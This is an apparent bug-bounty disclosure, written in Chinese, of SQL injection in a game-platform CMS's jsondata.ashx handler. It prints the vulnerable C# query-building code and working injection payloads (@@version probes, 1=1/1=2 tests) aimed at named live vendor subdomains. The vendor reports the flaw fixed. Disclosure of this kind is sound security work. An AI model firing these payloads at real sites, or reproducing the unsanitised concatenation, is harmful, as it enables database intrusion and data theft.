2014-06-03: 细节已通知厂商并且等待厂商处理中 2014-06-03: 厂商已经确认,细节仅向厂商公开 2014-06-06: 细节向第三方安全合作伙伴开放 2014-07-28: 细节向核心白帽子及相关领域专家公开 2014-08-07: 细节向普通白帽子公开 2014-08-17: 细节向实习白帽子公开 2014-09-01: 细节向公众公开
看了@wefgod 大牛以前提交的 有空看了看这套代码 又发现了注入官网几套系统都存在通用性注入漏洞 只是有安全狗 本人很菜不会过狗 但是漏洞是存在的
存在漏洞的文件:
xykj/jsondata.ashx
三个分支 都存在注入源码如下
<%@ WebHandler Language="C#" Class="jsondata" %>using System;using System.Collections.Generic;using System.Collections.Specialized;using System.Web;using com.xykj.common;/// <summary>/// 请求处理/// 发送到客户端为json格式。/// 支持跨域请求/// </summary>public class jsondata : IHttpHandler{ public void ProcessRequest(HttpContext context) { string complate = "{}"; var type = context.Request.Params["cmd"]; var callback = context.Request.Params["callback"]; switch (type) { case "event": var obj = new com.xykj.business.Events().GetEvents(int.Parse(context.Request.QueryString["evid"])); complate = XY.JToJson(obj); break; case "aotu": //第一个分支 complate = XY.JToJson(new com.xykj.business.Control.AotuComplete().Complete(context.Request.Params)); //跟进 break; case "station_order": //第二个分支 var _dic = new Dictionary<string, string>(); _dic.Clear(); foreach (var xyEventse in context.Request.Params.AllKeys) { _dic.Add(xyEventse, context.Request.Params[xyEventse]); } int pageindex = 1; try { pageindex = int.Parse(context.Request.Params["html_html"]); } catch (Exception) { } int pagesize = 15; int count = 0; decimal summoney = 1; complate = Newtonsoft.Json.JsonConvert.SerializeObject(new com.xykj.business.View.Order.OrderManage().GetStationOrders(_dic, pageindex, pagesize, out count, out summoney)); //跟进GetStationOrders函数 complate = "{\"pageindex\":" + pageindex + ", \"pagesize\":" + pagesize + ",\"count\":" + count + " ,\"summoney\":" + summoney + ",\"" + complate.Substring(2); break; case "games_order": //第三个分支 var _dic2 = new Dictionary<string, string>(); _dic2.Clear(); foreach (var xyEventse in context.Request.Params.AllKeys) { _dic2.Add(xyEventse, context.Request.Params[xyEventse]); } int pageindex2 = 1; try { pageindex2 = int.Parse(context.Request.Params["html_html"]); } catch (Exception) { } int pagesize2 = 15; int count2 = 0; decimal summoney2 = 1; complate = Newtonsoft.Json.JsonConvert.SerializeObject(new com.xykj.business.View.Order.OrderManage().GetOrders(_dic2, pageindex2, pagesize2, out count2, out summoney2)); //看下GetOrders函数 complate = "{\"pageindex\":" + pageindex2 + ",\"pagesize\":" + pagesize2 + ",\"count\":" + count2 + " ,\"summoney\":" + summoney2 + ",\"" + complate.Substring(2); break; case "order_load_server": int sdfsdf=0; int gid=0; try { gid = int.Parse(context.Request.Params["gid"]); } catch (Exception) { gid = 0; } complate = Newtonsoft.Json.JsonConvert.SerializeObject(new com.xykj.business.View.Games.Server().GetServerByGid(gid, 100000, 1, out sdfsdf)); break; } context.Response.ContentType = "application/json"; if (string.IsNullOrEmpty(callback)) { context.Response.Write(complate); } else { context.Response.Write(callback + "(" + complate + ")"); } } public bool IsReusable { get { return false; } }}
第一个分支的
public IList<string> Complete(NameValueCollection para){ string str = para["field"]; string str2 = para["chars"]; //对获取的参数没处理 string sql = ""; string str4 = str; if (str4 != null) //下面的str2都存在注入了 { if (!(str4 == "acc")) { if (str4 == "name") { sql = "select top 10 [name] from xy_users where [name] like '%" + str2 + "%'"; } else if (str4 == "ip") { sql = "select top 10 [ip] from xy_Spread_Admin where [ip] like '%" + str2 + "%'"; } else if (str4 == "gamename") { sql = "select top 10 [Name] from xy_games where [Name] like '%" + str2 + "%'"; } else if (str4 == "newsmanage") { sql = "select top 10 [Title] from xy_article where [Title] like '%" + str2 + "%'"; } } else { sql = "select top 10 [account] from xy_users where [account] like '%" + str2 + "%'"; } } DataTable dataTable = this.GetDataTable(sql); List<string> list = new List<string>(); foreach (DataRow row in dataTable.Rows) { object obj2 = row[0]; if (obj2 != null) { list.Add(obj2.ToString()); } }javascript:void(0) return list;}
第二个分支
public DataSet GetStationOrders(Dictionary<string, string> Params, int pageindex, int pagesize, out int count, out decimal summoney){ string payFs = ""; string orderId = ""; if (Params.ContainsKey("OrderId")) { orderId = Params["OrderId"]; //没处理 下面的参数都一样的 } string payUser = ""; if (Params.ContainsKey("PayUser")) { payUser = Params["PayUser"]; } string dateType = ""; if (Params.ContainsKey("selectTime")) { dateType = Params["selectTime"]; } DateTime? start = null; if (Params.ContainsKey("StartTime") && !string.IsNullOrEmpty(Params["StartTime"])) { start = new DateTime?(XY.ToDateTime(Params["StartTime"])); } string payResults = ""; if (Params.ContainsKey("PayResults")) { payResults = Params["PayResults"]; } DateTime? end = null; if (Params.ContainsKey("EndTime") && !string.IsNullOrEmpty(Params["EndTime"])) { end = new DateTime?(XY.ToDateTime(Params["EndTime"])); } foreach (KeyValuePair<string, string> pair in Params) { if (pair.Key.StartsWith("chk_")) { if (payFs.Trim() != "") { payFs = payFs + ",'" + pair.Value + "'"; } else { payFs = "'" + pair.Value + "'"; } } } string iPType = ""; if (Params.ContainsKey("selectIP")) { iPType = Params["selectIP"]; } string ip = null; if (Params.ContainsKey("IP") && !string.IsNullOrEmpty(Params["IP"])) { ip = Params["IP"]; } decimal num = 0M; if (Params.ContainsKey("PayMoney_Start") && !string.IsNullOrEmpty(Params["PayMoney_Start"])) { if (!XY.ValidationRegX(Params["PayMoney_Start"].ToString(), "^[0-9_]+$")) { count = 0; summoney = 0M; return null; } num = Convert.ToDecimal(Params["PayMoney_Start"]); } decimal num2 = 0M; if (Params.ContainsKey("PayMoney_End") && !string.IsNullOrEmpty(Params["PayMoney_End"])) { if (!XY.ValidationRegX(Params["PayMoney_End"].ToString(), "^[0-9_]+$")) { count = 0; summoney = 0M; return null; } num2 = Convert.ToDecimal(Params["PayMoney_End"]); } return this.os.GetStationOrders(orderId, payUser, dateType, start, end, payFs, iPType, ip, num, num2, payResults, pageindex, pagesize, out count, out summoney);//跟进}
public DataSet GetStationOrders(string OrderId, string PayUser, string DateType, DateTime? start, DateTime? end, string PayFs, string IPType, string ip, decimal paymoney_start, decimal paymoney_end, string PayResults, int pageindex, int pagesize, out int count, out decimal summoney){ object obj2; string str = " "; if ((OrderId != "") && (OrderId != null)) { str = str + " and OrderId='" + OrderId + "'"; //直接带入了存在注入了 下面的参数也一样 } if ((PayUser != "") && (PayUser != null)) { xy_users userByAccount = new Account().GetUserByAccount(PayUser); if (userByAccount != null) { obj2 = str; str = string.Concat(new object[] { obj2, " and userid='", userByAccount.ID, "'" }); } else { str = str + " and userid=-9999"; } } if ((DateType == "1") && (DateType != null)) { if (start.HasValue) { obj2 = str; str = string.Concat(new object[] { obj2, " and date >= '", start.Value, "' " }); } if (end.HasValue) { obj2 = str; str = string.Concat(new object[] { obj2, " and date <= '", end.Value, "' " }); } } else if ((DateType == "2") && (DateType != null)) { if (start.HasValue) { obj2 = str; str = string.Concat(new object[] { obj2, " and PayDate >= '", start.Value, "' " }); } if (end.HasValue) { obj2 = str; str = string.Concat(new object[] { obj2, " and PayDate <= '", end.Value, "' " }); } } if ((PayResults != "全部") && (PayResults != null)) { str = str + " and PayResults ='" + PayResults + "' "; } if (((PayFs != "全部") && (PayFs != null)) && (PayFs != "")) { str = str + " and PayType in(" + PayFs + ")"; } if (paymoney_end != 0M) { obj2 = str; str = string.Concat(new object[] { obj2, " and PayMoney>=", paymoney_start, " and PayMoney<=", paymoney_end }); } if ((IPType == "1") && (IPType != null)) { str = str + " and CreateIp='" + ip + "'"; } else if ((IPType == "2") && (IPType != null)) { str = str + " and PayIp='" + ip + "'"; } string sql = string.Concat(new object[] { "select top ", pagesize, "so.ID,so.OrderId,so.PayMoney,so.VMoney,so.Date,so.PayDate,so.UserId,so.OrderState,so.PayResults,so.PayType,so.CreateIp,so.PayIp,u.Account from (select ROW_NUMBER() over (order by id desc)row,* from xy_stationOrder where 1=1 ", str, ") so inner join dbo.xy_users u on so.UserId=u.ID where 1=1 and so.row>(", pagesize, "*(", pageindex, "-1)) " }); DataSet dataSet = this.GetDataSet(sql); DataSet set2 = this.GetDataSet(" select COUNT(*),SUM(PayMoney)PayMoney from dbo.xy_stationOrder so inner join dbo.xy_users u on so.UserId=u.ID where 1=1 " + str); count = int.Parse(set2.Tables[0].Rows[0][0].ToString()); try { summoney = Convert.ToDecimal(set2.Tables[0].Rows[0][1].ToString()); } catch (Exception) { summoney = 0M; } return dataSet;}
第三个分支
public DataSet GetOrders(Dictionary<string, string> Params, int pageindex, int pagesize, out int count, out decimal summoney){ string payFs = ""; string orderId = ""; if (Params.ContainsKey("OrderId")) { orderId = Params["OrderId"]; //跟上面的一样没处理 下面的参数都没处理 } string payUser = ""; if (Params.ContainsKey("PayUser")) { payUser = Params["PayUser"]; } string dateType = ""; if (Params.ContainsKey("selectTime")) { dateType = Params["selectTime"]; } DateTime? start = null; if (Params.ContainsKey("StartTime") && !string.IsNullOrEmpty(Params["StartTime"])) { start = new DateTime?(XY.ToDateTime(Params["StartTime"])); } DateTime? end = null; if (Params.ContainsKey("EndTime") && !string.IsNullOrEmpty(Params["EndTime"])) { end = new DateTime?(XY.ToDateTime(Params["EndTime"])); } string staus = ""; if (Params.ContainsKey("Staus")) { staus = Params["Staus"]; } foreach (KeyValuePair<string, string> pair in Params) { if (pair.Key.StartsWith("chk_")) { if (payFs.Trim() != "") { payFs = payFs + ",'" + pair.Value + "'"; } else { payFs = "'" + pair.Value + "'"; } } } string iPType = ""; if (Params.ContainsKey("selectIP")) { iPType = Params["selectIP"]; } string ip = null; if (Params.ContainsKey("IP") && !string.IsNullOrEmpty(Params["IP"])) { ip = Params["IP"]; } decimal num = 0M; if (Params.ContainsKey("PayMoney_Start") && !string.IsNullOrEmpty(Params["PayMoney_Start"])) { if (!XY.ValidationRegX(Params["PayMoney_Start"].ToString(), "^[0-9_]+$")) { count = 0; summoney = 0M; return null; } num = Convert.ToDecimal(Params["PayMoney_Start"]); } decimal num2 = 0M; if (Params.ContainsKey("PayMoney_End") && !string.IsNullOrEmpty(Params["PayMoney_End"])) { if (!XY.ValidationRegX(Params["PayMoney_End"].ToString(), "^[0-9_]+$")) { count = 0; summoney = 0M; return null; } num2 = Convert.ToDecimal(Params["PayMoney_End"]); } string compgame = ""; if (Params.ContainsKey("compgame")) { compgame = Params["compgame"]; } string compserver = ""; if (Params.ContainsKey("compserver")) { compserver = Params["compserver"]; } return this.os.GetOrder(orderId, payUser, dateType, start, end, staus, payFs, iPType, ip, num, num2, compgame, compserver, pageindex, pagesize, out count, out summoney); //跟进}
public DataSet GetOrder(string OrderId, string PayUser, string DateType, DateTime? start, DateTime? end, string Staus, string PayFs, string IPType, string ip, decimal paymoney_start, decimal paymoney_end, string compgame, string compserver, int pageindex, int pagesize, out int count, out decimal summoney){ object obj2; string str = " "; string str2 = ""; if ((OrderId != "") && (OrderId != null)) { str = str + " and OrderId='" + OrderId + "'"; //存在注入 下面的参数也一样 str2 = str2 + " and o.OrderId='" + OrderId + "'"; } if ((PayUser != "") && (PayUser != null)) { xy_users userByAccount = new Account().GetUserByAccount(PayUser); if (userByAccount != null) { obj2 = str; str = string.Concat(new object[] { obj2, " and userid='", userByAccount.ID, "'" }); obj2 = str2; str2 = string.Concat(new object[] { obj2, " and o.userid='", userByAccount.ID, "'" }); } else { str = str + " and userid=-9999"; str2 = str2 + " and o.userid=-9999"; } } if ((DateType == "1") && (DateType != null)) { if (start.HasValue) { obj2 = str; str = string.Concat(new object[] { obj2, " and CreateTime >= '", start.Value, "' " }); obj2 = str2; str2 = string.Concat(new object[] { obj2, " and o.CreateTime >= '", start.Value, "' " }); } if (end.HasValue) { obj2 = str; str = string.Concat(new object[] { obj2, " and CreateTime <= '", end.Value, "' " }); obj2 = str2; str2 = string.Concat(new object[] { obj2, " and o.CreateTime <= '", end.Value, "' " }); } } else if ((DateType == "2") && (DateType != null)) { if (start.HasValue) { obj2 = str; str = string.Concat(new object[] { obj2, " and PayTime >= '", start.Value, "' " }); obj2 = str2; str2 = string.Concat(new object[] { obj2, " and o.PayTime >= '", start.Value, "' " }); } if (end.HasValue) { obj2 = str; str = string.Concat(new object[] { obj2, " and PayTime <= '", end.Value, "' " }); obj2 = str2; str2 = string.Concat(new object[] { obj2, " and o.PayTime <= '", end.Value, "' " }); } } if ((Staus != "全部") && (Staus != null)) { str = str + " and Staus ='" + Staus + "' "; str2 = str2 + " and o.Staus ='" + Staus + "' "; } if (((PayFs != "全部") && (PayFs != null)) && (PayFs != "")) { str = str + " and PayType in(" + PayFs + ")"; str2 = str2 + " and o.PayType in(" + PayFs + ")"; } if ((IPType == "1") && (IPType != null)) { str = str + " and CreateIp='" + ip + "'"; str2 = str2 + " and o.CreateIp='" + ip + "'"; } else if ((IPType == "2") && (IPType != null)) { str = str + " and PayIp='" + ip + "'"; str2 = str2 + " and o.PayIp='" + ip + "'"; } if (paymoney_end != 0M) { obj2 = str; str = string.Concat(new object[] { obj2, " and PayMoney>=", paymoney_start, " and PayMoney<=", paymoney_end }); obj2 = str2; str2 = string.Concat(new object[] { obj2, " and o.PayMoney>=", paymoney_start, " and o.PayMoney<=", paymoney_end }); } if (((compgame != "") && (compgame != null)) && (compgame != "-1")) { str = str + " and gameid='" + compgame + "'"; str2 = str2 + " and o.gameid='" + compgame + "'"; } if (((compserver != "") && (compserver != null)) && (compserver != "-1")) { str = str + " and serverid='" + compserver + "'"; str2 = str2 + " and o.serverid='" + compserver + "'"; } string str3 = string.Concat(new object[] { "select top ", pagesize, "o.ID,o.UserId,o.OrderId,o.PayMoney,o.CreateTime,o.PayTime,o.CreateIp,o.PayIp,o.PayResults, o.OnPay,o.Staus,o.PayType,o.GameResults,o.gameid,o.serverid,(ga.Name)gamename,(s.name)ServerName,u.Account from (select ROW_NUMBER() over (order by id desc)row,* from dbo.xy_order where 1=1 ", str, ") o inner join dbo.xy_games ga on o.gameid=ga.ID inner join dbo.xy_servers s on s.ID=o.serverid inner join dbo.xy_users u on o.UserId=u.ID where 1=1 and o.row>(", pagesize, "*(", pageindex, "-1)) " }); XY.Cache.Delete(XY.MD5(str3)); DataSet dataSet = this.GetDataSet(str3); string str4 = " select COUNT(*),SUM(PayMoney) PayMoney from xy_order o inner join dbo.xy_servers s on s.ID=o.serverid and o.gameid=s.GameId where 1=1 " + str2; XY.Cache.Delete(XY.MD5(str4)); DataSet set2 = this.GetDataSet(str4); try { if ((set2 != null) && (set2.Tables[0].Rows.Count > 0)) { count = int.Parse(set2.Tables[0].Rows[0][0].ToString()); summoney = Convert.ToDecimal(set2.Tables[0].Rows[0][1].ToString()); return dataSet; } count = 0; summoney = 0M; } catch (Exception) { count = 0; summoney = 0M; } return dataSet;
证明 先本地搭建测试第一个分支访问
http://192.168.1.107/xykj/jsondata.ashx
提交
cmd=aotu&field=acc&char=%
正常显示
接着提交
cmd=aotu&field=acc&chars=%' and (select @@version)>0 --
由于官网几个站都装有安全狗 我不会绕过狗 但是可证明是存在注入的访问
http://52xinyou.com/project.html
这有几套代码进行测试
http://xy001.52xinyou.cn/xykj/jsondata.ashx
cmd=aotu&field=acc&chars=%
cmd=aotu&field=acc&chars=%' and 1=1 --
cmd=aotu&field=acc&chars=%' and 1=2 --
证明是存在注入的第二套
http://xy002.52xinyou.cn/
第三套
http://xy003.52xinyou.cn/
第四套
http://xy006.52xinyou.cn/
第二个分支 跟第三个分支 由于不知道官网数据库中的数据 关键一点就是存在安全狗的问题 使得不知道如何证明 我还是在本地证明一下吧访问
cmd=games_order&OrderId=1' and (select @@version)>0 and '1'='1
另一个分支访问
cmd=station_order&OrderId=1' and (select @@version)>0 and '1'='1
对参数进行处理吧
危害等级:高
漏洞Rank:15
确认时间:2014-06-03 18:08
非常感激 已经修复 感激每位白帽子的大力挖掘
暂无